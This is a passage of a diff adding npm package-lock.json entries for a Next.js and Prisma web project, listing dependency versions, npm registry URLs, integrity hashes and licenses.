"hono": "^4" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.13.0.tgz", + "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==", + "deprecated": "Use @eslint/config-array instead", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanwhocodes/object-schema": "^2.0.3", + "debug": "^4.3.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz", + "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==", + "deprecated": "Use @eslint/object-schema instead", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@mrleebo/prisma-ast": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/@mrleebo/prisma-ast/-/prisma-ast-0.13.1.tgz", + "integrity": "sha512-XyroGQXcHrZdvmrGJvsA9KNeOOgGMg1Vg9OlheUsBOSKznLMDl+YChxbkboRHvtFYJEMRYmlV3uoo/njCw05iw==", + "license": "MIT", + "dependencies": { + "chevrotain": "^10.5.0", + "lilconfig": "^2.1.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/@mrleebo/prisma-ast/node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/@napi-rs/wasm-runtime": { + "version": "0.2.12", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.12.tgz", + "integrity": "sha512-ZVWUcfwY4E/yPitQJl481FjFo3K22D6qF0DuFH6Y/nbnE11GY5uguDxZMGXPQ8WQ0128MXQD7TnfHyK4oWoIJQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.4.3", + "@emnapi/runtime": "^1.4.3", + "@tybys/wasm-util": "^0.10.0" + } + }, + "node_modules/@next/env": { + "version": "14.2.35", + "resolved": "https://registry.npmjs.org/@next/env/-/env-14.2.35.tgz", + "integrity": "sha512-DuhvCtj4t9Gwrx80dmz2F4t/zKQ4ktN8WrMwOuVzkJfBilwAwGr6v16M5eI8yCuZ63H9TTuEU09Iu2HqkzFPVQ==", + "license": "MIT" + }, + "node_modules/@next/eslint-plugin-next": { + "version": "14.2.35", + "resolved": "https://registry.npmjs.org/@next/eslint-plugin-next/-/eslint-plugin-next-14.2.35.tgz", + "integrity": "sha512-Jw9A3ICz2183qSsqwi7fgq4SBPiNfmOLmTPXKvlnzstUwyvBrtySiY+8RXJweNAs9KThb1+bYhZh9XWcNOr2zQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "glob": "10.3.10" + } + }, + "node_modules/@next/swc-darwin-arm64": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-darwin-arm64/-/swc-darwin-arm64-14.2.33.tgz", + "integrity": "sha512-HqYnb6pxlsshoSTubdXKu15g3iivcbsMXg4bYpjL2iS/V6aQot+iyF4BUc2qA/J/n55YtvE4PHMKWBKGCF/+wA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-darwin-x64": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-darwin-x64/-/swc-darwin-x64-14.2.33.tgz", + "integrity": "sha512-8HGBeAE5rX3jzKvF593XTTFg3gxeU4f+UWnswa6JPhzaR6+zblO5+fjltJWIZc4aUalqTclvN2QtTC37LxvZAA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-arm64-gnu": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-gnu/-/swc-linux-arm64-gnu-14.2.33.tgz", + "integrity": "sha512-JXMBka6lNNmqbkvcTtaX8Gu5by9547bukHQvPoLe9VRBx1gHwzf5tdt4AaezW85HAB3pikcvyqBToRTDA4DeLw==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-arm64-musl": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-linux-arm64-musl/-/swc-linux-arm64-musl-14.2.33.tgz", + "integrity": "sha512-Bm+QulsAItD/x6Ih8wGIMfRJy4G73tu1HJsrccPW6AfqdZd0Sfm5Imhgkgq2+kly065rYMnCOxTBvmvFY1BKfg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-x64-gnu": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-gnu/-/swc-linux-x64-gnu-14.2.33.tgz", + "integrity": "sha512-FnFn+ZBgsVMbGDsTqo8zsnRzydvsGV8vfiWwUo1LD8FTmPTdV+otGSWKc4LJec0oSexFnCYVO4hX8P8qQKaSlg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-linux-x64-musl": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-linux-x64-musl/-/swc-linux-x64-musl-14.2.33.tgz", + "integrity": "sha512-345tsIWMzoXaQndUTDv1qypDRiebFxGYx9pYkhwY4hBRaOLt8UGfiWKr9FSSHs25dFIf8ZqIFaPdy5MljdoawA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-arm64-msvc": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-win32-arm64-msvc/-/swc-win32-arm64-msvc-14.2.33.tgz", + "integrity": "sha512-nscpt0G6UCTkrT2ppnJnFsYbPDQwmum4GNXYTeoTIdsmMydSKFz9Iny2jpaRupTb+Wl298+Rh82WKzt9LCcqSQ==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-ia32-msvc": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-win32-ia32-msvc/-/swc-win32-ia32-msvc-14.2.33.tgz", + "integrity": "sha512-pc9LpGNKhJ0dXQhZ5QMmYxtARwwmWLpeocFmVG5Z0DzWq5Uf0izcI8tLc+qOpqxO1PWqZ5A7J1blrUIKrIFc7Q==", + "cpu": [ + "ia32" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@next/swc-win32-x64-msvc": { + "version": "14.2.33", + "resolved": "https://registry.npmjs.org/@next/swc-win32-x64-msvc/-/swc-win32-x64-msvc-14.2.33.tgz", + "integrity": "sha512-nOjfZMy8B94MdisuzZo9/57xuFVLHJaDj5e/xrduJp9CV2/HrfxTRH2fbyLe+K9QT41WBLUd4iXX3R7jBp0EUg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nolyfill/is-core-module": { + "version": "1.0.39", + "resolved": "https://registry.npmjs.org/@nolyfill/is-core-module/-/is-core-module-1.0.39.tgz", + "integrity": "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/@panva/hkdf": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@panva/hkdf/-/hkdf-1.2.1.tgz", + "integrity": "sha512-6oclG6Y3PiDFcoyk8srjLfVKyMfVCKJ27JwNPViuXziFpmdz+MZnZN/aKY0JGXgYuO/VghU0jcOAZgWXZ1Dmrw==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@prisma/adapter-pg": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/adapter-pg/-/adapter-pg-7.4.2.tgz", + "integrity": "sha512-oUo2Zhe9Tf6YwVL8kLPuOLTK1Z2pwi/Ua77t2PuGyBan2w7shRKqHvYK+3XXmRH9RWhPJ4SMtHZKpNo6Ax/4bQ==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/driver-adapter-utils": "7.4.2", + "pg": "^8.16.3", + "postgres-array": "3.0.4" + } + }, + "node_modules/@prisma/client": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/client/-/client-7.4.2.tgz", + "integrity": "sha512-ts2mu+cQHriAhSxngO3StcYubBGTWDtu/4juZhXCUKOwgh26l+s4KD3vT2kMUzFyrYnll9u/3qWrtzRv9CGWzA==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/client-runtime-utils": "7.4.2" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0" + }, + "peerDependencies": { + "prisma": "*", + "typescript": ">=5.4.0" + }, + "peerDependenciesMeta": { + "prisma": { + "optional": true + }, + "typescript": { + "optional": true + } + } + }, + "node_modules/@prisma/client-runtime-utils": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/client-runtime-utils/-/client-runtime-utils-7.4.2.tgz", + "integrity": "sha512-cID+rzOEb38VyMsx5LwJMEY4NGIrWCNpKu/0ImbeooQ2Px7TI+kOt7cm0NelxUzF2V41UVVXAmYjANZQtCu1/Q==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/config": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/config/-/config-7.4.2.tgz", + "integrity": "sha512-CftBjWxav99lzY1Z4oDgomdb1gh9BJFAOmWF6P2v1xRfXqQb56DfBub+QKcERRdNoAzCb3HXy3Zii8Vb4AsXhg==", + "license": "Apache-2.0", + "dependencies": { + "c12": "3.1.0", + "deepmerge-ts": "7.1.5", + "effect": "3.18.4", + "empathic": "2.0.0" + } + }, + "node_modules/@prisma/debug": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.4.2.tgz", + "integrity": "sha512-aP7qzu+g/JnbF6U69LMwHoUkELiserKmWsE2shYuEpNUJ4GrtxBCvZwCyCBHFSH2kLTF2l1goBlBh4wuvRq62w==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/dev": { + "version": "0.20.0", + "resolved": "https://registry.npmjs.org/@prisma/dev/-/dev-0.20.0.tgz", + "integrity": "sha512-ovlBYwWor0OzG+yH4J3Ot+AneD818BttLA+Ii7wjbcLHUrnC4tbUPVGyNd3c/+71KETPKZfjhkTSpdS15dmXNQ==", + "license": "ISC", + "dependencies": { + "@electric-sql/pglite": "0.3.15", + "@electric-sql/pglite-socket": "0.0.20", + "@electric-sql/pglite-tools": "0.2.20", + "@hono/node-server": "1.19.9", + "@mrleebo/prisma-ast": "0.13.1", + "@prisma/get-platform": "7.2.0", + "@prisma/query-plan-executor": "7.2.0", + "foreground-child": "3.3.1", + "get-port-please": "3.2.0", + "hono": "4.11.4", + "http-status-codes": "2.3.0", + "pathe": "2.0.3", + "proper-lockfile": "4.1.2", + "remeda": "2.33.4", + "std-env": "3.10.0", + "valibot": "1.2.0", + "zeptomatch": "2.1.0" + } + }, + "node_modules/@prisma/driver-adapter-utils": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/driver-adapter-utils/-/driver-adapter-utils-7.4.2.tgz", + "integrity": "sha512-REdjFpT/ye9KdDs+CXAXPIbMQkVLhne9G5Pe97sNY4Ovx4r2DAbWM9hOFvvB1Oq8H8bOCdu0Ri3AoGALquQqVw==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.4.2" + } + }, + "node_modules/@prisma/engines": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/engines/-/engines-7.4.2.tgz", + "integrity": "sha512-B+ZZhI4rXlzjVqRw/93AothEKOU5/x4oVyJFGo9RpHPnBwaPwk4Pi0Q4iGXipKxeXPs/dqljgNBjK0m8nocOJA==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.4.2", + "@prisma/engines-version": "7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", + "@prisma/fetch-engine": "7.4.2", + "@prisma/get-platform": "7.4.2" + } + }, + "node_modules/@prisma/engines-version": { + "version": "7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", + "resolved": "https://registry.npmjs.org/@prisma/engines-version/-/engines-version-7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919.tgz", + "integrity": "sha512-5FIKY3KoYQlBuZC2yc16EXfVRQ8HY+fLqgxkYfWCtKhRb3ajCRzP/rPeoSx11+NueJDANdh4hjY36mdmrTcGSg==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/engines/node_modules/@prisma/get-platform": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.4.2.tgz", + "integrity": "sha512-UTnChXRwiauzl/8wT4hhe7Xmixja9WE28oCnGpBtRejaHhvekx5kudr3R4Y9mLSA0kqGnAMeyTiKwDVMjaEVsw==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.4.2" + } + }, + "node_modules/@prisma/fetch-engine": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-7.4.2.tgz", + "integrity": "sha512-f/c/MwYpdJO7taLETU8rahEstLeXfYgQGlz5fycG7Fbmva3iPdzGmjiSWHeSWIgNnlXnelUdCJqyZnFocurZuA==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.4.2", + "@prisma/engines-version": "7.5.0-10.94a226be1cf2967af2541cca5529f0f7ba866919", + "@prisma/get-platform": "7.4.2" + } + }, + "node_modules/@prisma/fetch-engine/node_modules/@prisma/get-platform": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.4.2.tgz", + "integrity": "sha512-UTnChXRwiauzl/8wT4hhe7Xmixja9WE28oCnGpBtRejaHhvekx5kudr3R4Y9mLSA0kqGnAMeyTiKwDVMjaEVsw==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.4.2" + } + }, + "node_modules/@prisma/get-platform": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.2.0.tgz", + "integrity": "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA==", + "license": "Apache-2.0", + "dependencies": { + "@prisma/debug": "7.2.0" + } + }, + "node_modules/@prisma/get-platform/node_modules/@prisma/debug": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.2.0.tgz", + "integrity": "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/query-plan-executor": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/@prisma/query-plan-executor/-/query-plan-executor-7.2.0.tgz", + "integrity": "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ==", + "license": "Apache-2.0" + }, + "node_modules/@prisma/studio-core": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/@prisma/studio-core/-/studio-core-0.13.1.tgz", + "integrity": "sha512-agdqaPEePRHcQ7CexEfkX1RvSH9uWDb6pXrZnhCRykhDFAV0/0P3d07WtfiY8hZWb7oRU4v+NkT4cGFHkQJIPg==", + "license": "Apache-2.0", + "peerDependencies": { + "@types/react": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@rtsao/scc": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz", + "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.16.1.tgz", + "integrity": "sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag==", + "dev": true, + "license": "MIT" + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "license": "MIT" + }, + "node_modules/@stripe/stripe-js": { + "version": "8.8.0", + "resolved": "https://registry.npmjs.org/@stripe/stripe-js/-/stripe-js-8.8.0.tgz", + "integrity": "sha512-NNYuyW8qmLjyHnpyFgs/23wUrjB8k0xN9YIZFOMLewCa/pIkIji9e9aY/EgdNryEDDRptc6TcPIHRvG1R0ClFw==", + "license": "MIT", + "engines": { + "node": ">=12.16" + } + }, + "node_modules/@swc/counter": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz", + "integrity": "sha512-e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ==", + "license": "Apache-2.0" + }, + "node_modules/@swc/helpers": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.5.tgz", + "integrity": "sha512-KGYxvIOXcceOAbEk4bi/dVLEK9z8sZ0uBB3Il5b1rhfClSpcX0yfRO0KmTkqR2cnQDymwLB+25ZyMzICg/cm/A==", + "license": "Apache-2.0", + "dependencies": { + "@swc/counter": "^0.1.3", + "tslib": "^2.4.0" + } + }, + "node_modules/@tybys/wasm-util": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.1.tgz", + "integrity": "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@types/bcryptjs": { + "version": "2.4.6", + "resolved": "https://registry.npmjs.org/@types/bcryptjs/-/bcryptjs-2.4.6.tgz", + "integrity": "sha512-9xlo6R2qDs5uixm0bcIqCeMCE6HiQsIyel9KQySStiyqNl2tnj2mP3DX1Nf56MD6KMenNNlBBsy3LJ7gUEQPXQ==", + "license": "MIT" + }, + "node_modules/@types/json5": { + "version": "0.0.29", + "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz", + "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "20.19.35", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.35.tgz", + "integrity": "sha512-Uarfe6J91b9HAUXxjvSOdiO2UPOKLm07Q1oh0JHxoZ1y8HoqxDAu3gVrsrOHeiio0kSsoVBt4wFrKOm0dKxVPQ==", + "license": "MIT", + "dependencies": { + "undici-types": "~6.21.0" + } + }, + "node_modules/@types/papaparse": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/@types/papaparse/-/papaparse-5.5.2.tgz", + "integrity": "sha512-gFnFp/JMzLHCwRf7tQHrNnfhN4eYBVYYI897CGX4MY1tzY9l2aLkVyx2IlKZ/SAqDbB3I1AOZW5gTMGGsqWliA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/pg": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/@types/pg/-/pg-8.18.0.tgz", + "integrity": "sha512-gT+oueVQkqnj6ajGJXblFR4iavIXWsGAFCk3dP4Kki5+a9R4NMt0JARdk6s8cUKcfUoqP5dAtDSLU8xYUTFV+Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "pg-protocol": "*", + "pg-types": "^2.2.0" + } + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "license": "MIT" + }, + "node_modules/@types/qrcode": { + "version": "1.5.6", + "resolved": "https://registry.npmjs.org/@types/qrcode/-/qrcode-1.5.6.tgz", + "integrity": "sha512-te7NQcV2BOvdj2b1hCAHzAoMNuj65kNBMz0KBaxM6c3VGBOhU0dURQKOtH8CFNI/dsKkwlv32p26qYQTWoB5bw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/react": { + "version": "18.3.28", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.3.28.tgz", + "integrity": "sha512-z9VXpC7MWrhfWipitjNdgCauoMLRdIILQsAEV+ZesIzBq/oUlxk0m3ApZuMFCXdnS4U7KrI+l3WRUEGQ8K1QKw==", + "license": "MIT", + "dependencies": { + "@types/prop-types": "*", + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "18.3.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.3.7.tgz", + "integrity": "sha512-MEe3UeoENYVFXzoXEWsvcpg6ZvlrFNlOQ7EOsvhI3CfAXwzPfO8Qwuxd40nepsYKqyyVQnTdEfv68q91yLcKrQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^18.0.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.56.1", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.56.1.tgz", + "integrity": "sha512-Jz9ZztpB37dNC+HU2HI28Bs9QXpzCz+y/twHOwhyrIRdbuVDxSytJNDl6z/aAKlaRIwC7y8wJdkBv7FxYGgi0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.12.2", + "@typescript-eslint/scope-manager": "8.56.1", + "@typescript-eslint/type-utils": "8.56.1", + "@typescript-eslint/utils": "8.56.1", + 